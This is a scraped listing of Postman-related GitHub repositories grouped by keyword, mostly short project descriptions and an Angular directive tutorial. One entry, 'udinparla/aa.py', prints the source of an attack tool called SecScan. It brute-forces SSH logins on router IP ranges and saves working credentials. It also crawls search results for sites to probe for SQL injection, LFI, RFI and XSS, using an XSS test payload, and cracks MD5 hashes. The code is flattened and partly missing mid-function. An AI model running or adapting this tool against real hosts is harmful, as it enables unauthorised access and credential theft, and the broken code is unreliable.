qijia00/Postman_JavaScript_npm_ChaiAssertionLibrary
execution, form, format, information, integration, move, moved, package, pipeline, script, scripts 		Sample Postman scripts I created in JavaScript with Chai Assertion Library. The scripts are also packaged by npm for easy execution and integration to CI/CD pipeline with Jenkins. Authentication information has been removed for privacy reasons. 0 stars 0 watchers 0 forks

exported (9 listings) (Back to Top)

hanikhan/postman-collection-runner
collection, collections, export, exported, generate, module, newman, report, reports, runner 		Uses postman's newman module to run exported POSTMAN collections and generate detailed reports 1 stars 1 watchers 1 forks
rwilcox/postal_clirk
collection, collections, export, exported, postman collection, postman collections, single 		Ever wanted to set up or run a single Postman request from exported postman collections. Here you go. Simple Postman requests only 1 stars 1 watchers 0 forks
pedroSG94/lazy-api-rest
collection, export, exported, generate, json, module, postman collection, rest 		Python project to generate a API rest module for Android using a json exported from postman collection 1 stars 1 watchers 0 forks
josephbuchma/postman-ruby
collection, collections, export, exported, http, ruby 		Parse & make http requests from Postman's (getpostman.com) exported collections (Collection V2) 0 stars 0 watchers 1 forks
BrentGruber/pyman
class, collection, convert, export, exported, library, postman collection, usable 		Python library that can convert an exported postman collection into a usable Python class for making api calls 0 stars 0 watchers 0 forks
cncal/parrot
apidoc, automat, automatic, automatically, export, exported, file, generate, json, parse, tool 		A tool used to parse json file exported from Postman and generate apidoc automatically. 0 stars 0 watchers 0 forks
iovxw/postman-pubsub
export, exported, google, pubsub 		Automatically exported from code.google.com/p/postman-pubsub 0 stars 0 watchers 0 forks
juannorris/django-postman
bitbucket, bucket, customized, django, export, exported, http, https 		django-postman, customized by scoobygalletas (https://[email protected]/scoobygalletas), exported to git from hg. 0 stars 0 watchers 0 forks
kjschmidt913/lab20And21
config, configure, export, exported, express, facts, file, folder, front end, function, public, random, retrieve, route, routes 		A function that will return random facts, exported from a different file. Converted the app to Express. Created routes to retrieve facts. Tested using Postman. Created a front-end for the app (added public folder, configured express app to point to the public folder). Used an AJAX call from the front end to retrieve the random facts. 0 stars 0 watchers 0 forks

packages (9 listings) (Back to Top)

matt-ball/postman-external-require
external, inside, node, package, packages, require 		Import node packages inside Postman. 1 stars 1 watchers 1 forks
cpvariyani/identityserver4-in-net-core-to-secure-public-microservice
client, demonstrate, entity, example, grant, integrate, integrated, microservice, microservices, package, packages, public, sample, secure, server, service, services, test, tested, type, video 		This is a practical example to demonstrate how to secure public microservices in .Net core using Identity server 4. In this video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. A practical example of How to create Identity server in .net core for grant type to client credentials. nuget packages for identity server are 2 IdentityServer4 and IdentityServer4.EntityFramework. and for microservice 1 nuget packages needs to be added Microsoft.AspNetCore.Authentication.JwtBearer 1 stars 1 watchers 0 forks
davidenoma/Restful-Explore-California-App
boot, data, form, format, information, location, package, packages, rating, rest, restful, service, spring, spring boot, tours 		A restful spring boot micro service based on spring data JPA and spring rest. It allows requests to the web service that returns information about tours, tour packages and tour ratings about locations in california. 1 stars 1 watchers 0 forks
tiagohillebrandt/postman-ubuntu-ppa
package, packages, ubuntu 		Source to build Postman PPA packages. 0 stars 0 watchers 1 forks
Greg1992/mongotut
communicate, data, database, modern, mongo, package, packages, security, test, testing 		Server set up to communicate with a MongoDB database, using modern security measures to encrypt data. Used POSTMAN and Node testing packages (Mocha and Chai) 0 stars 0 watchers 0 forks
fearless23/Linux-Install-Instructions
docker, install, package, packages, redis, service, services, struct, ubuntu 		How to install various packages, services like docker, redis, postman on linux(ubuntu, kubuntu) 0 stars 0 watchers 0 forks
CodingReaction/PostmanRedCards
action, import, package, packages, software, support, track 		A software made for additional support to Postman who needs to track important packages. 0 stars 0 watchers 0 forks
patrick-castro/task-manager-api
application, auth, authentication, automat, automate, automated, development, email, explore, import, mail, manager, operation, operations, package, packages, party, server, server., service, services, task, user, web app 		A task manager API that explores important features of a web application, which are CRUD operations, user authentication, automated email transmission and many more with the help of various NPM packages and third party services. In development, Postman was used to make HTTP requests to the server. 0 stars 0 watchers 0 forks
werbasinnotec/wi-postman
note, package, packages 		Letterman will response and request all packages from a REST API 0 stars 0 watchers 0 forks

define (9 listings) (Back to Top)

easy-ware/api-manager
define, devolopers, document, manager, mock, test 		Help front-end and back-end devolopers to work with APIs faster and easier. features: API define, mock, test, document. like postman, rap. API接口管理平台，支持接口实际和mock测试 0 stars 0 watchers 7 forks
Cb-James/Postman-Collections
define, endpoint, endpoints 		Predefined API endpoints for use with Postman REST API Client 2 stars 2 watchers 1 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
andela-cofor/Document-Management-System
access, define, document, documents, manages, role, roles, system, user, users 		Document Management System: The system manages documents, users and user roles. Each document defines access rights; the document defines which roles can access it. 1 stars 1 watchers 2 forks
castlegateit/cgit-wp-postcard
define, template, templates 		Quick and easy pre-defined templates for Postman 0 stars 0 watchers 1 forks
jordanahaines/postman-newman-circleci
automat, automate, automated, circleci, define, newman, schedule, test, tests 		Companion repo for a post on how to use Newmand and CircleCI to schedule automated tests for requests defined in Postman 0 stars 0 watchers 0 forks
omaracrystal/CRUD_5
data, database, define, route, schema, struct, structure 		Setting up CRUD app with Express, MongoDB, Mongoose, define schema, set up RESTful route structure, update each route to connect to the database and return JSON. Test with cURL, HTTPie, or Postman 0 stars 0 watchers 0 forks
yann-yvan/CodeHttp
android, communication, debug, define, light, server, struct, structure, tool, tools 		A light way to make communication between android and server using a predefine structure server response with a debug tools like postman 0 stars 0 watchers 0 forks
ysodiqakanni/ShopifyTrialStore
check, commerce, define, form, performing, progress, server, shopify, style 		This repository is based on a challenge by shopify to create an API for performing some basic CRUDs in a defined e-commerce style. Development still in progress. For review purpose, check the ProductsController, it's the most up to date. Language: C# ASP.net web API with 3 layer architecture Technologies: Entity Framework, Dependency Injection, SQL server, NUnit, Postman 0 stars 0 watchers 0 forks

correct (9 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
Gencid/Hello-Postman-2
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repository-okrwf6lgoj
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repository-upi1z7ukzm
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repository-wury8o3fjz
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repositoryr23h6gc553
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
AfzaalQALhr/Db-connectivity-with-postman
config, configure, correct, data, database 		is there anyway available for configured our database with Postman to assure our inserting values are correct. If response onlly containing response code 0 stars 0 watchers 0 forks
Atanyanta/Atanyanta.github.io
automat, automate, automated, correct, data, generate, github, postman tests, stat, test, tests 		Quickly generate automated postman tests to ensure data is static and returns correctly 0 stars 0 watchers 0 forks

presentation (9 listings) (Back to Top)

AndriiStepura/letslearnapitesting
apitest, learn, presentation, test, testing, tool, tools 		Repo for API testing presentation, based with postman tools 0 stars 0 watchers 2 forks
demoPostman/DotnetIasi.DemoPostman
group, lines, necessary, pipeline, pipelines, presentation, resource, resources, source 		This repo contains all the necessary resources from the DotNet Iasi group presentation about PostmanTests in CI\CD pipelines 0 stars 0 watchers 1 forks
BlueInt32/postman-presentation
description, presentation, script 		No description available. 0 stars 0 watchers 0 forks
davidcognite/beecon2017-demo-postman-collection
collection, presentation 		The Postman Collection to go with the REST API presentation given at Alfresco BeeCon 2017. 0 stars 0 watchers 0 forks
Deepiram/Postman-Presentation
presentation 		ppt presentation 0 stars 0 watchers 0 forks
KleeUT/postman-presentation
presentation, queries, talk 		Demo api and postman queries for the Automating API QA with postman talk. 0 stars 0 watchers 0 forks
proff321/comm-with-postman
communicating, development, presentation, tool 		A presentation about using Postman as a tool for communicating with a development team 0 stars 0 watchers 0 forks
proff321/communicating-with-postman
communicating, development, presentation, tool 		A presentation about using Postman as a tool for communicating with a development team 0 stars 0 watchers 0 forks
RobAllan27/PostmanToolsetDemo
presentation 		This repo has a presentation and a et of proejcts that use REST, POSTMAN , GraphQL and Mockoon to demo API Testing 0 stars 0 watchers 0 forks

tree (9 listings) (Back to Top)

Geo-Developers/geocoders-postman-collection
collection, tree 		Google Maps, Open Streetmap, ArcGIS, Bing, Here, MapQuest, Mapzen, ... 0 stars 0 watchers 1 forks
Zandy12/FSJS-Project-Nine
degree, involves, program, test, testing, tree 		Ninth project of the Full Stack JavaScript techdegree program offered by www.teamtreehouse.com. The project involves building a REST API using Node.js and testing with Postman. 0 stars 0 watchers 0 forks
HoustonWeHaveABug/SweepNYC
solver, tree 		Chinese Postman/New York Street Sweeper Problems solver 0 stars 0 watchers 0 forks
maitreebain/LabQuestions
tree 		lab questions post postman 0 stars 0 watchers 0 forks
ryufitreet/flatcher
send, sender, tree 		Not finished Postman like request sender 0 stars 0 watchers 0 forks
solipsia/RunEveryStreet-Processing
route, routes, tree 		Creates routes that cover every possible street in an area on the map, i.e. Chinese Postman Problem 0 stars 0 watchers 0 forks
streeetlamp/Postman
electron, electronic, mail, send, test, tree 		A test in sending electronic mail 0 stars 0 watchers 0 forks
treetrunkz/nodeapp
access, accessed, application, dynamic, dynamically, express, install, interface, list, module, modules, mongo, mongoose, multiple, node, nodejs, parse, parser, server, todo, tree, user, users 		This is a nodejs application. It is a todo list that can be accessed and created by multiple users. The API is accessed by Postman. The server and interface is set up to POST and GET dynamically. To populate node_modules `npm install ejs, express, mongoose, body-parser --save -g` + tsc -w 0 stars 0 watchers 0 forks
verso-optim/pOSMan
chinese, data, problem, tree 		Solving the chinese postman problem using OpenStreetMap data 0 stars 0 watchers 0 forks

playing (9 listings) (Back to Top)

aWhereAPI/API-Postman-Collections
application, coding, collection, collections, form, free, play, playing 		Use these Postman collections to start playing with the aWhere API Platform without coding. Requires the free Chrome application, Postman, from getpostman.com 0 stars 0 watchers 8 forks
sonali-developer/SmackApplication
